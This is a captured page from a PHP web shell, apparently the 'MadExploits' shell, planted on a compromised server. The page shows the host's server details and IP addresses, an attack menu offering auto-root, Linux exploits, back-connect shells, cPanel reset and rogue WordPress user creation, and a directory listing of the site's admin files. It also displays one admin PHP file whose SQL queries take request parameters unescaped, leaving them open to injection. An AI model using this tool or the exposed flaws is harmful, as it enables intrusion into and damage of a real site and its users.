Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.186
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
aryaadmin /
Archive /
[ HOME SHELL ]
Name
Size
Permission
Action
common
[ DIR ]
drwxr-xr-x
arya_AdminInclude_11-01-16.php
1002
B
-rw-r--r--
arya_AdminInclude_13-01-16.php
1.06
KB
-rw-r--r--
arya_AdminInclude_16-09-14.php
811
B
-rw-r--r--
arya_addactivities_28-03-14.ph...
16.43
KB
-rw-r--r--
arya_addadminpages_14-08-14.ph...
13.62
KB
-rw-r--r--
arya_addadmissionnotification_...
32.91
KB
-rw-r--r--
arya_addadvertisement_18-12-14...
23.42
KB
-rw-r--r--
arya_addarticle_05-08-14.php
30.03
KB
-rw-r--r--
arya_addarticle_25-11-15.php
29.99
KB
-rw-r--r--
arya_addaryasamajtab_28-03-14....
22.29
KB
-rw-r--r--
arya_addaudioalbum_28-03-14.ph...
23.93
KB
-rw-r--r--
arya_addauthor_13-09-14.php
20.12
KB
-rw-r--r--
arya_adddiscategory_28-03-14.p...
28.26
KB
-rw-r--r--
arya_adddiscover_04-08-14.php
27.41
KB
-rw-r--r--
arya_addelectionappointment_02...
16.17
KB
-rw-r--r--
arya_addengvarriable_25-03-14....
8.84
KB
-rw-r--r--
arya_addevents_26-01-16.php
50.97
KB
-rw-r--r--
arya_addevents_28-03-14.php
50.96
KB
-rw-r--r--
arya_addeventtype_28-03-14.php
29.83
KB
-rw-r--r--
arya_addfestival_23-07-14.php
30.54
KB
-rw-r--r--
arya_addfiledownload_09-12-14....
12.06
KB
-rw-r--r--
arya_addimportantplaces_28-03-...
35.98
KB
-rw-r--r--
arya_addinstituteprofile_02-10...
23.85
KB
-rw-r--r--
arya_addinstituteprofile_09-05...
23.84
KB
-rw-r--r--
arya_addinstitutetype_04-08-14...
33.23
KB
-rw-r--r--
arya_addinstitution_09-10-14.p...
56.08
KB
-rw-r--r--
arya_addlanguage_04-08-14.php
13.81
KB
-rw-r--r--
arya_addmagazines_02-01-15.php
38.12
KB
-rw-r--r--
arya_addmagazinetitle_09-10-14...
44.28
KB
-rw-r--r--
arya_addmember_29-05-14.php
37.84
KB
-rw-r--r--
arya_addmembertype_04-08-14.ph...
22.95
KB
-rw-r--r--
arya_addmobileaudio_05-12-14.p...
23.51
KB
-rw-r--r--
arya_addmobileaudio_06-01-16.p...
9.1
KB
-rw-r--r--
arya_addmobileaudio_08-01-16.p...
8.69
KB
-rw-r--r--
arya_addmobileimage_05-12-14.p...
20.91
KB
-rw-r--r--
arya_addnews_arvind-18-01-19.p...
61.42
KB
-rw-r--r--
arya_addobituary_18-10-14.php
27.42
KB
-rw-r--r--
arya_addphotogallery_28-03-14....
29.04
KB
-rw-r--r--
arya_addportalhomeslidebanner_...
11.62
KB
-rw-r--r--
arya_addportalsection_04-08-14...
22.76
KB
-rw-r--r--
arya_addportaltab_18-04-14.php
24.93
KB
-rw-r--r--
arya_addprimaryrecord_28-03-14...
47.92
KB
-rw-r--r--
arya_addproduct_28-03-14.php
20.39
KB
-rw-r--r--
arya_addradioairing_04-08-14.p...
18.93
KB
-rw-r--r--
arya_addscndtestquestions_12-1...
24.82
KB
-rw-r--r--
arya_addscndtimeline_17-12-14....
24.27
KB
-rw-r--r--
arya_addsecndryfestival_20-02-...
20.89
KB
-rw-r--r--
arya_addsecondaryactivity_18-0...
15.66
KB
-rw-r--r--
arya_addservices_28-03-14.php
17.99
KB
-rw-r--r--
arya_addstreamingbanner_28-03-...
20.97
KB
-rw-r--r--
arya_addtest_28-05-14.php
15.62
KB
-rw-r--r--
arya_addtestlevel_28-05-14.php
22.6
KB
-rw-r--r--
arya_addtestquestions_27-08-14...
45.74
KB
-rw-r--r--
arya_addtimeline_16-12-14.php
16.6
KB
-rw-r--r--
arya_addtimeline_17-12-14.php
16.92
KB
-rw-r--r--
arya_addtimeline_29-12-14.php
14.26
KB
-rw-r--r--
arya_addvacancy_27-05-14.php
34.54
KB
-rw-r--r--
arya_addvideoalbum_28-03-14.ph...
23.91
KB
-rw-r--r--
arya_addvideogallery_28-03-14....
21.82
KB
-rw-r--r--
arya_addwallpaper_28-03-14.php
9.19
KB
-rw-r--r--
arya_addwebsite_28-03-14.php
18.06
KB
-rw-r--r--
arya_adminlogin_18-03-15.php
7.26
KB
-rw-r--r--
arya_articleautoauthor_05-06-1...
342
B
-rw-r--r--
arya_articlependinglist_22-09-...
21.08
KB
-rw-r--r--
arya_autologout_15-03-14.php
1.94
KB
-rw-r--r--
arya_changepasswordpopup_05-05...
5.53
KB
-rw-r--r--
arya_ckeditor2_14-10-14.php
1.64
KB
-rw-r--r--
arya_ckeditor3_14-10-14.php
1.64
KB
-rw-r--r--
arya_downloadallfile_31-03-14....
2.06
KB
-rw-r--r--
arya_downloadfile_20-12-14.php
1.21
KB
-rw-r--r--
arya_downloadpendinglist_03-03...
24.68
KB
-rw-r--r--
arya_editactivities_28-03-14.p...
23.07
KB
-rw-r--r--
arya_editadminpages_14-08-14.p...
17.92
KB
-rw-r--r--
arya_editadmissionnotification...
40.28
KB
-rw-r--r--
arya_editadvertisement_04-08-1...
29.7
KB
-rw-r--r--
arya_editarticle_11-01-16.php
38.44
KB
-rw-r--r--
arya_editarticle_25-11-15.php
38.41
KB
-rw-r--r--
arya_editarticle_27-10-14.php
38.39
KB
-rw-r--r--
arya_editaryasamajtab_28-03-14...
21.9
KB
-rw-r--r--
arya_editaudioalbum_28-03-14.p...
28.46
KB
-rw-r--r--
arya_editauthor_04-11-14.php
24.92
KB
-rw-r--r--
arya_editdiscategory_28-03-14....
16.11
KB
-rw-r--r--
arya_editdiscover_04-08-14.php
34.54
KB
-rw-r--r--
arya_editelectionappointment_1...
20.12
KB
-rw-r--r--
arya_editelectionappointment_1...
20.06
KB
-rw-r--r--
arya_editevents_19-11-14.php
64.12
KB
-rw-r--r--
arya_editeventtype_28-03-14.ph...
20.59
KB
-rw-r--r--
arya_editfestival_28-03-14.php
38.51
KB
-rw-r--r--
arya_editfiledownload_20-12-14...
22.21
KB
-rw-r--r--
arya_editimportantplaces_18-09...
43.96
KB
-rw-r--r--
arya_editinstitutetype_04-08-1...
23.15
KB
-rw-r--r--
arya_editinstitution_01-10-15....
71.83
KB
-rw-r--r--
arya_editinstitution_02-10-15....
73.92
KB
-rw-r--r--
arya_editinstitution_09-10-14....
55.89
KB
-rw-r--r--
arya_editinstitution_29-09-15....
55.8
KB
-rw-r--r--
arya_editlanguage_04-08-14.php
16.45
KB
-rw-r--r--
arya_editmagazines_08-11-14.ph...
54.04
KB
-rw-r--r--
arya_editmagazinetitle_09-10-1...
53.82
KB
-rw-r--r--
arya_editmember_28-03-14.php
47.21
KB
-rw-r--r--
arya_editmembertype_04-08-14.p...
9.27
KB
-rw-r--r--
arya_editmlevelcategory_04-08-...
9.71
KB
-rw-r--r--
arya_editmobileaudio_06-01-16....
8.9
KB
-rw-r--r--
arya_editmobileaudio_08-01-16....
8.5
KB
-rw-r--r--
arya_editmobileaudio_11-12-14....
8.9
KB
-rw-r--r--
arya_editmobileimage_11-12-14....
9.32
KB
-rw-r--r--
arya_editmpowercategory_04-08-...
10.36
KB
-rw-r--r--
arya_editnews_05-12-14.php
70.37
KB
-rw-r--r--
arya_editnews_13-10-15.php
70.37
KB
-rw-r--r--
arya_editobituary_18_10-14.php
31.32
KB
-rw-r--r--
arya_editphotogallery_28-03-14...
22.85
KB
-rw-r--r--
arya_editportalhomeslidebanner...
13.23
KB
-rw-r--r--
arya_editportaltab_16-04-14.ph...
14.91
KB
-rw-r--r--
arya_editportaltab_17-04-14.ph...
15.18
KB
-rw-r--r--
arya_editprimaryrecord_28-03-1...
68.73
KB
-rw-r--r--
arya_editproduct_28-03-14.php
24.67
KB
-rw-r--r--
arya_editquestioncategory_04-0...
4.83
KB
-rw-r--r--
arya_editradioairing_04-08-14....
23.88
KB
-rw-r--r--
arya_editscndtestquestions_27-...
19.24
KB
-rw-r--r--
arya_editscndtimeline_17-12-14...
19.98
KB
-rw-r--r--
arya_editsecndryfestival_20-02...
15.32
KB
-rw-r--r--
arya_editsecondaryactivity_18-...
13.04
KB
-rw-r--r--
arya_editsecondaryservice_18-0...
13.08
KB
-rw-r--r--
arya_editservices_28-03-14.php
27.4
KB
-rw-r--r--
arya_editstreamingbanner_28-03...
24.27
KB
-rw-r--r--
arya_edittestquestions_27-08-1...
36.17
KB
-rw-r--r--
arya_edittestquestions_28-03-1...
34.6
KB
-rw-r--r--
arya_edittimeline_29-12-14.php
16.88
KB
-rw-r--r--
arya_editvacancy_27-05-14.php
44.08
KB
-rw-r--r--
arya_editvideoalbum_28-03-14.p...
29.72
KB
-rw-r--r--
arya_editvideogallery_28-03-14...
26.26
KB
-rw-r--r--
arya_editwallpaper_28-03-14.ph...
10.34
KB
-rw-r--r--
arya_editwebsite_28-03-14.php
22.98
KB
-rw-r--r--
arya_forgotpwd_06-05-14.php
5.37
KB
-rw-r--r--
arya_ftpfile_02-01-15.php
1.44
KB
-rw-r--r--
arya_header_29-10-14.php
7.48
KB
-rw-r--r--
arya_home_24-12-15.php
640
B
-rw-r--r--
arya_insertpamphlet_21-09-15.p...
15.51
KB
-rw-r--r--
arya_insertpamphlet_25-01-16.p...
15.51
KB
-rw-r--r--
arya_insertpamphlet_28-03-14.p...
16.01
KB
-rw-r--r--
arya_instoffpendinglist_26-05-...
19.27
KB
-rw-r--r--
arya_instpendinglist_01-10-15....
17.35
KB
-rw-r--r--
arya_instpendinglist_28-09-15....
16.42
KB
-rw-r--r--
arya_instphotoupload_18-12-14....
14.98
KB
-rw-r--r--
arya_mailinsquickupload_28-11-...
9.64
KB
-rw-r--r--
arya_memberautodelete_21-06-14...
4.96
KB
-rw-r--r--
arya_menu_14-03-16.php
13.82
KB
-rw-r--r--
arya_mgzndownload_20-12-14.php
2.06
KB
-rw-r--r--
arya_mlevelcategory_04-08-14.p...
23.69
KB
-rw-r--r--
arya_mngactivities_19-06-14.ph...
26.23
KB
-rw-r--r--
arya_mngadmin_18-06-14.php
23.63
KB
-rw-r--r--
arya_mngadminpages_19-06-14.ph...
18.29
KB
-rw-r--r--
arya_mngadmissionnotification_...
20.56
KB
-rw-r--r--
arya_mngadvertisement_19-06-14...
24.17
KB
-rw-r--r--
arya_mngarticle_03-11-14.php
80.54
KB
-rw-r--r--
arya_mngarticle_16_Dec_15.php
80.66
KB
-rw-r--r--
arya_mngauthor_13-09-14.php
22.95
KB
-rw-r--r--
arya_mngblocksequence_15-10-14...
11.64
KB
-rw-r--r--
arya_mngcity_19-06-14.php
22.76
KB
-rw-r--r--
arya_mngcountry_19-06-14.php
19.4
KB
-rw-r--r--
arya_mngcurrentadminlogin_15-0...
4.32
KB
-rw-r--r--
arya_mngdiscover_19-06-14.php
31.28
KB
-rw-r--r--
arya_mngdynamicpages_21-06-14....
18.32
KB
-rw-r--r--
arya_mngelectionappointment_11...
26.85
KB
-rw-r--r--
arya_mngelectionappointment_12...
26.84
KB
-rw-r--r--
arya_mngelectionappointment_16...
27.22
KB
-rw-r--r--
arya_mngengvariable_25-03-14.p...
20.87
KB
-rw-r--r--
arya_mngevents_19-06-14.php
43.6
KB
-rw-r--r--
arya_mngfestival_19-06-14.php
30.69
KB
-rw-r--r--
arya_mngfiledownload_12-03-15....
31.33
KB
-rw-r--r--
arya_mngfiledownload_24-09-15....
31.39
KB
-rw-r--r--
arya_mngimportantplaces_19-06-...
35.95
KB
-rw-r--r--
arya_mnginstitution_09-10-14.p...
107.28
KB
-rw-r--r--
arya_mnginstitution_29-09-15.p...
107.21
KB
-rw-r--r--
arya_mnginstmgzadmin_17-06-14....
38.8
KB
-rw-r--r--
arya_mngmagazines_08-11-14.php
25.66
KB
-rw-r--r--
arya_mngmagazinetitle_09-10-14...
51.98
KB
-rw-r--r--
arya_mngmember_03-10-15.php
76.76
KB
-rw-r--r--
arya_mngmember_09-02-16.php
77.33
KB
-rw-r--r--
arya_mngmember_16_dec_15.php
77.04
KB
-rw-r--r--
arya_mngmember_17-10-14.php
76.08
KB
-rw-r--r--
arya_mngmobileaudio_11-06-15.p...
17.53
KB
-rw-r--r--
arya_mngnews_27-11-14.php
52.54
KB
-rw-r--r--
arya_mngobituary_15-10-14.php
23.06
KB
-rw-r--r--
arya_mngperson_19-06-14.php
51.31
KB
-rw-r--r--
arya_mngpollquestions_19-06-14...
33.89
KB
-rw-r--r--
arya_mngportalhomeslidebanner_...
22.52
KB
-rw-r--r--
arya_mngproduct_19-06-14.php
19.32
KB
-rw-r--r--
arya_mngquickuploads_16-12-14....
28.25
KB
-rw-r--r--
arya_mngradioairing_19-06-14.p...
17.72
KB
-rw-r--r--
arya_mngreporter_19-06-14.php
39.48
KB
-rw-r--r--
arya_mngservices_19-06-14.php
25.44
KB
-rw-r--r--
arya_mngstate_19-06-14.php
20.19
KB
-rw-r--r--
arya_mngstreaming_19-06-14.php
21.1
KB
-rw-r--r--
arya_mngstreamingbanner_19-06-...
20.88
KB
-rw-r--r--
arya_mngtestquestions_04-12-14...
33.56
KB
-rw-r--r--
arya_mngtimeline_26-12-14.php
35.04
KB
-rw-r--r--
arya_mngvacancy_19-06-14.php
25.94
KB
-rw-r--r--
arya_mngvacancy_29-04-14.php
26.58
KB
-rw-r--r--
arya_mngvedmantra_19-06-14.php
25.09
KB
-rw-r--r--
arya_mngwallpaper_19-06-14.php
13.99
KB
-rw-r--r--
arya_mngwebsite_19-06-2014.php
19.61
KB
-rw-r--r--
arya_mobileaudiopending_11-12-...
14.4
KB
-rw-r--r--
arya_mpowercategory_04-08-14.p...
26.06
KB
-rw-r--r--
arya_newsphotoupload_31-01-15....
16.3
KB
-rw-r--r--
arya_obituaryphotos_28-03-14.p...
15.62
KB
-rw-r--r--
arya_otherlangvarriable_25-04-...
12.02
KB
-rw-r--r--
arya_pendingtabs_18-12-14.php
5.19
KB
-rw-r--r--
arya_pendingtabs_29-09-15.php
5.26
KB
-rw-r--r--
arya_persnphotoupload_28-03-14...
16.76
KB
-rw-r--r--
arya_placephotoupload_28-03-14...
16.99
KB
-rw-r--r--
arya_pushnotification_23-09-14...
6.45
KB
-rw-r--r--
arya_quickautodelete_14-05-14....
1.39
KB
-rw-r--r--
arya_quickupldpendinglist_19-1...
36.03
KB
-rw-r--r--
arya_reportpendinglist_13-05-1...
53.47
KB
-rw-r--r--
arya_searchvariablename_15-03-...
352
B
-rw-r--r--
arya_sendquickuploadmail_29-10...
4.41
KB
-rw-r--r--
arya_timelinependinglist_17-12...
28.17
KB
-rw-r--r--
arya_uploadtakeatour_28-05-14....
38.87
KB
-rw-r--r--
arya_viewadminLaPower_arvind-1...
9.24
KB
-rw-r--r--
arya_viewadminactivity_27-03-1...
9.14
KB
-rw-r--r--
arya_viewadminactivity_arvind-...
9.15
KB
-rw-r--r--
arya_viewadminhistory_arvind-1...
7.21
KB
-rw-r--r--
arya_viewadminpower_arvind-14-...
12.76
KB
-rw-r--r--
arya_viewadminprofile_arvind-1...
5.43
KB
-rw-r--r--
arya_viewnewsphotos_28-11-14.p...
7.77
KB
-rw-r--r--
arya_viewobituarymessage_15-10...
6.17
KB
-rw-r--r--
arya_viewobituaryphoto_14-03-1...
7.08
KB
-rw-r--r--
arya_viewpendingquickupload_02...
18.1
KB
-rw-r--r--
arya_viewpendingreport_09-04-1...
17.43
KB
-rw-r--r--
arya_viewquickuploads_02-10-14...
17.91
KB
-rw-r--r--
arya_viewreport_09-04-14.php
17.43
KB
-rw-r--r--
arya_wallpaper_24-02-14.php
570
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : arya_addinstitutetype_04-08-14.php
<?php include('arya_AdminInclude.php'); //header start include('arya_header.php'); //header over // link start include("arya_menu.php"); // link over $admusrid=$_SESSION["adminuserid"]; $dbusercatid=getFieldValue('admcat_id','arya_adminuser','admuser_id="'.$_SESSION["adminuserid"].'"'); $rightsid=mysql_query('SELECT admsecright_pageid FROM arya_adminsectionrights WHERE admcat_id IN('.$dbusercatid.') AND admuser_id="'.$admusrid.'"'); while($rightfetch=mysql_fetch_array($rightsid)) { $admcatrightsid[]=$rightfetch['admsecright_pageid']; } foreach($admcatrightsid as $key) { $qry="select * from arya_adminpage where page_sectionid='".$key."'"; $q=mysql_query($qry); while($fetch=mysql_fetch_array($q)) { $pagename=$fetch['page_filename']; $path = $_SERVER['REQUEST_URI']; $headername = basename($path); $url_parts = parse_url($headername); $constructed_url = $url_parts['scheme'] . '' . $url_parts['hostname'] . $url_parts['path']; if($constructed_url==$pagename) { $newrightsarray=getFieldValueArray('admsecright_edit,admsecright_delete,admsecright_approve,admsecright_sdelete','arya_adminsectionrights','admsecright_pageid="'.$key.'" AND admuser_id="'.$admusrid.'" AND admcat_id="'.$dbusercatid.'"'); $rightedit=$newrightsarray[0]; $rightdelete=$newrightsarray[1]; $rightapprove=$newrightsarray[2]; $superdelete=$newrightsarray[3]; } } } // content start $pagesecid=getFieldValue('page_sectionid','arya_adminpage','page_filename="'.$constructed_url.'"'); $modulenm=getFieldValue('page_title','arya_adminpage','page_filename="'.$constructed_url.'"'); $logindate=date('Y-m-d h:i:s'); $curntdate=date('Y-m-d'); $curnttime= date('h:i:s'); $instid=$_GET["instid"]; if(isset($_POST["btnAdd"])) { for($i=1;$i<=10;$i++) { $name='officer'.$i; $langtext[]=$_POST[$name]; } $officer1=$_POST['officer1']; $_SESSION['officer1']=$officer1; $txtname=htmlentities($_POST["txtname"]); $_SESSION['txtname']=$txtname; if($rightapprove == 'Self' || $rightapprove == 'All') { $chkvisible=$_POST["chkvisible"]; $txtsequenceno=$_POST["txtsequenceno"]; } else { $pagesequence1=getFieldValueWithoutWhere("MAX(insttype_sequence)","arya_institutiontype"); $txtsequenceno=$pagesequence1+1; $chkvisible="No"; } $_SESSION['txtsequenceno']=$txtsequenceno; unset($_SESSION['yesvisible']); unset($_SESSION['novisible']); if($_POST["chkvisible"]=='Yes') { $_SESSION['yesvisible']='checked="checked" '; } if($_POST["chkvisible"]=='No') { $_SESSION['novisible']='checked="checked" '; } /*if($_SERVER['SERVER_NAME']=='www.thearyasamaj.org' || $_SERVER['SERVER_NAME']=='thearyasamaj.org') { if(find_specialchar($txtname)=="Yes" || find_blankfield($txtname)=="Yes" || find_scripttags($txtname)=="Yes" || is_digits($txtsequenceno)=="Yes" || find_scripttags($txtsequenceno)=="Yes") //php validation added by navneet { RedirecPage('arya_addinstitutetype.php?msg=err'); } }*/ if($_SERVER['SERVER_NAME']=='www.thearyasamaj.org' || $_SERVER['SERVER_NAME']=='thearyasamaj.org') { if($txtname=="") { RedirecPage('arya_addinstitutetype.php?msg=emptype'); } if($officer1=="") { RedirecPage('arya_addinstitutetype.php?msg=empoff'); } } if($txtname!="") { $officer2=$_POST['officer2']; $officer3=$_POST['officer3']; $officer4=$_POST['officer4']; $officer5=$_POST['officer5']; $officer6=$_POST['officer6']; $officer7=$_POST['officer7']; $officer8=$_POST['officer8']; $officer9=$_POST['officer9']; $officer10=$_POST['officer10']; if($officer2!=""){ $value12[]=$officer2;} if($officer3!=""){ $value12[]=$officer3;} if($officer4!=""){ $value12[]=$officer4;} if($officer5!=""){ $value12[]=$officer5;} if($officer6!=""){ $value12[]=$officer6;} if($officer7!=""){ $value12[]=$officer7;} if($officer8!=""){ $value12[]=$officer8;} if($officer9!=""){ $value12[]=$officer9;} if($officer10!=""){ $value12[]=$officer10;} $txtname1=$value12; $arrayname=$value12; $_SESSION['arrayname']=$arrayname; if($_SERVER['SERVER_NAME']=='www.thearyasamaj.org' || $_SERVER['SERVER_NAME']=='thearyasamaj.org') { if(find_scripttags($txtname)=="Yes") { RedirecPage('arya_addinstitutetype.php?msg=typeerr'); } else if(find_scripttags($officer1)=="Yes") { RedirecPage('arya_addinstitutetype.php?msg=officer1'); } else if(find_scripttags($officer2)=="Yes") { RedirecPage('arya_addinstitutetype.php?msg=officer2'); } else if(find_scripttags($officer3)=="Yes") { RedirecPage('arya_addinstitutetype.php?msg=officer3'); } else if(find_scripttags($officer4)=="Yes") { RedirecPage('arya_addinstitutetype.php?msg=officer4'); } else if(find_scripttags($officer5)=="Yes") { RedirecPage('arya_addinstitutetype.php?msg=officer5'); } else if(find_scripttags($officer6)=="Yes") { RedirecPage('arya_addinstitutetype.php?msg=officer6'); } else if(find_scripttags($officer7)=="Yes") { RedirecPage('arya_addinstitutetype.php?msg=officer7'); } else if(find_scripttags($officer8)=="Yes") { RedirecPage('arya_addinstitutetype.php?msg=officer8'); } else if(find_scripttags($officer9)=="Yes") { RedirecPage('arya_addinstitutetype.php?msg=officer9'); } else if(find_scripttags($officer10)=="Yes") { RedirecPage('arya_addinstitutetype.php?msg=officer10'); } else if(is_digits($txtsequenceno)=="Yes" || find_scripttags($txtsequenceno)=="Yes") { RedirecPage('arya_addinstitutetype.php?msg=seqerr'); } } $getinsttype=getFieldValue("insttype_name","arya_institutiontype","insttype_name='".$txtname."'"); if($getinsttype!="") { RedirecPage('arya_addinstitutetype.php?msg=dupmsg'); } $insinsttype="INSERT INTO arya_institutiontype(insttype_name,insttype_officer1,insttype_officer2,insttype_officer3,insttype_officer4,insttype_officer5,insttype_officer6,insttype_officer7,insttype_officer8,insttype_officer9,insttype_officer10,insttype_sequence,insttype_visible,user_id) VALUES('".addslashes($txtname)."'"; foreach($langtext as $value) { $insinsttype.=",'".$value."'"; } $insinsttype.=",'".$txtsequenceno."','".$chkvisible."','".$_SESSION["adminuserid"]."')"; $qryinsttype=mysql_query($insinsttype); if($qryinsttype) { $dnId=mysql_insert_id(); $ImageSource = $_FILES['txtlogo']['tmp_name']; $number = rand(); $imagenumber=strtoupper(base_convert($number, 10, 36)); $FileName = $imagenumber."_".str_replace(" ","_",$_FILES['txtlogo']['name']); $SmallFileName = $imagenumber."_SM_".str_replace(" ","_",$_FILES['txtlogo']['name']); $ext=substr(strtolower($FileName),strpos($FileName,'.')+1); if(strlen($ext) > 4) { $ext=substr(strtolower($ext),strpos($ext,'.')+1); } if($conditionvar=='2') { if($ext=="gif" || $ext=="GIF") { include('arya_makedirectory.php'); $Thumwidth = "150"; $Thumheight = ""; $filePath=$photomonthpath.$FileName; $d=copy($ImageSource,$filePath); if($d) { $ThumbtoPath=$mediamonthpath.$SmallFileName; $UploadImg=generate_image_thumbnail($ImageSource, $ThumbtoPath, $Thumwidth, $Thumheight); if($UploadImg== "true") { $qryUpdateInst = "UPDATE arya_institutiontype SET insttype_logo='".$ThumbtoPath."' WHERE insttype_id='".$dnId."'"; $qUpdateInst = mysql_query($qryUpdateInst); } } }//extention condition over }//if($conditionvar=='2') else { $year=date('Y'); $month=date('m'); $mediaPath="media/"; $mediayearpath="media/".$year."/"; $mediamonthpath="media/".$year."/".$month."/"; $Thumwidth = "150"; $Thumheight = ""; if(!is_dir($mediaPath)) { mkdir($mediaPath); chmod($mediaPath,0777); } if(!is_dir($mediayearpath)) { mkdir($mediayearpath); chmod($mediayearpath,0777); } if(!is_dir($mediamonthpath)) { mkdir($mediamonthpath); chmod($mediamonthpath,0777); } $ThumbtoPath=$mediamonthpath.$SmallFileName; $UploadImg=generate_image_thumbnail($ImageSource, $ThumbtoPath, $Thumwidth, $Thumheight); } if($conditionvar=='1') { if($ext=="jpg" || $ext=="gif" || $ext=="png" || $ext=="jpeg" || $ext=="bmp" || $ext=="JPG" || $ext=="JPEG" || $ext=="GIF" ||$ext=="PNG" ||$ext=="BMP") { ob_start(); $myFile = $_FILES['txtlogo']; $srvfile = $myFile['tmp_name']; include('arya_ftpfile.php'); $destination_file =$destDirsrv.'/'.$FileName; $smalldestination_file =$destDirsrv.'/'.$SmallFileName; $srvupload = ftp_put($srvconn_id, $destination_file, $srvfile, FTP_BINARY); $srvthumbupload = ftp_put($srvconnect_id, $smalldestination_file, $srvfile, FTP_BINARY); $smupload = ftp_put($srvconnect_id, $smalldestination_file, "http://".$_SERVER['HTTP_HOST']."/aryaadmin/media/".$year."/".$month."/".$SmallFileName, FTP_BINARY); ftp_close($srvconn_id); ftp_close($srvconnect_id); $qryUpdateInst = "UPDATE arya_institutiontype SET insttype_logo='".$smalldestination_file."' WHERE insttype_id='".$dnId."'"; $qUpdateInst = mysql_query($qryUpdateInst); } } } if($qryinsttype) { getadminactivity('title_addinsttype',$pagesecid,$_SESSION["adminuserid"],$_SERVER["REMOTE_ADDR"],$txtname,$curntdate,$curnttime);//activity profile query $msg=$msgInserRecord; } } else { $msg=$msgNotInsert; } } $curntdate=date('Y-m-d'); $curnttime= date('h:i:s'); if(isset($_POST["updtseq"])) { $txtseqno=$_POST["txtseqno"]; $txtname=$_POST["txtname"]; $chkvisible=$_POST["chkvisible"]; foreach($_POST["txtuptseqid"] as $inst_type_id=>$inst_type_seq) { $updsequence="UPDATE arya_institutiontype SET insttype_sequence=".$inst_type_seq." where insttype_id='".$inst_type_id."'"; $reupdseq=mysql_query($updsequence); } $msg1=$msgUpdateRecord; $updtseqinsttyptitle=getFieldValue('insttype_name','arya_institutiontype','insttype_id="'.$inst_type_id.'"'); getadminactivity('title_manageinsttype',$pagesecid,$_SESSION["adminuserid"],$_SERVER["REMOTE_ADDR"],$updtseqinsttyptitle,$curntdate,$curnttime); } if(isset($instid) && $instid!="") { $updtsupdelinsttyptitle=getFieldValue('insttype_name','arya_institutiontype','insttype_id="'.$instid.'"'); getadminactivity('title_manageinsttype',$pagesecid,$_SESSION["adminuserid"],$_SERVER["REMOTE_ADDR"],$updtsupdelinsttyptitle,$curntdate,$curnttime); $smallimage=getFieldValue('insttype_logo','arya_institutiontype','insttype_id="'.$instid.'"'); $mainimage=str_replace('SM_','',$smallimage); $mainphotimage=str_replace('media','photo',$mainimage); if($conditionvar=='2') { unlink($smallimage); unlink($mainphotimage); } else { $filesmallimage=getFieldValue('insttype_logo','arya_institutiontype','insttype_id="'.$instid.'"'); $image=str_replace("./","media/",$filesmallimage); unlink($image); } if($conditionvar=='1') { include('arya_ftpfile.php'); ftp_delete($srvconnect_id ,$smallimage); ftp_delete($srvconn_id ,$mainimage); } $delusertype="DELETE FROM arya_institutiontype WHERE insttype_id='".$instid."'"; $qrydelusertype=mysql_query($delusertype); if($qrydelusertype) { $msg1=$msgDeleteRecord; } } $instid1=$_GET["instid1"]; if(isset($instid1) && $instid1!="") { $updtdelinsttyptitle=getFieldValue('insttype_name','arya_institutiontype','insttype_id="'.$instid1.'"'); getadminactivity('title_manageinsttype',$pagesecid,$_SESSION["adminuserid"],$_SERVER["REMOTE_ADDR"],$updtdelinsttyptitle,$curntdate,$curnttime); $delusertype="Update arya_institutiontype SET insttype_delstatus='Yes' WHERE insttype_id='".$instid1."'"; $qrydelusertype=mysql_query($delusertype); if($qrydelusertype) { $msg1=$msgDeleteRecord; } } if($_GET["msg"] && $_GET["msg"]=='update') { $msg=$msgUpdateRecord; } if($_GET['msg']=="err") // php validation error message { $msg="Please Enter Valid Input"; } $nvseqno=getFieldValueWithoutWhere("MAX(insttype_sequence)","arya_institutiontype"); if($nvseqno ==""){$nvsquence=1; }else{$nvsquence=$nvseqno+1;} if($rightapprove=="Self" || $rightapprove=="All") { $disbut=""; } else { $disbut='disabled="disabled"'; } $classtype='class="txtbox"'; $classoff='class="txtbox"'; $ooficerclass='class="txtbox"'; $classseqerrnm='class="txtseq"'; if($_GET['msg']=="emptype") { $emtttle=$lbl_errmenmsg." ".$lbl_insttype; $msg=$emtttle; $classtype='class="errtxtengbord"'; } else if($_GET['msg']=="typeerr") { $emtttle=$lbl_errvalidmsg." ".$lbl_insttype; $msg=$emtttle; $classtype='class="errtxtengbord"'; } else if($_GET['msg']=="empoff") { $emtttle=$lbl_errmenmsg." Officer1"; $msg=$emtttle; $classoff='class="errtxtengbord"'; } else if($_GET['msg']=="officer1") { $emtttle=$lbl_errvalidmsg." Officer1"; $msg=$emtttle; $classoff='class="errtxtengbord"'; } else if($_GET['msg']=="officer2") { $emtttle=$lbl_errvalidmsg." Officer2"; $msg=$emtttle; $ooficerclass='class="errtxtengbord"'; } else if($_GET['msg']=="officer3") { $emtttle=$lbl_errvalidmsg." Officer3"; $msg=$emtttle; $ooficerclass='class="errtxtengbord"'; } else if($_GET['msg']=="officer4") { $emtttle=$lbl_errvalidmsg." Officer4"; $msg=$emtttle; $ooficerclass='class="errtxtengbord"'; } else if($_GET['msg']=="officer5") { $emtttle=$lbl_errvalidmsg." Officer5"; $msg=$emtttle; $ooficerclass='class="errtxtengbord"'; } else if($_GET['msg']=="officer6") { $emtttle=$lbl_errvalidmsg." Officer6"; $msg=$emtttle; $ooficerclass='class="errtxtengbord"'; } else if($_GET['msg']=="officer7") { $emtttle=$lbl_errvalidmsg." Officer7"; $msg=$emtttle; $ooficerclass='class="errtxtengbord"'; } else if($_GET['msg']=="officer8") { $emtttle=$lbl_errvalidmsg." Officer8"; $msg=$emtttle; $ooficerclass='class="errtxtengbord"'; } else if($_GET['msg']=="officer9") { $emtttle=$lbl_errvalidmsg." Officer9"; $msg=$emtttle; $ooficerclass='class="errtxtengbord"'; } else if($_GET['msg']=="officer10") { $emtttle=$lbl_errvalidmsg." Officer10"; $msg=$emtttle; $ooficerclass='class="errtxtengbord"'; } else if($_GET['msg']=="seqerr") { $emtttle=$lbl_errvalidmsg." ".$lbl_sequence; 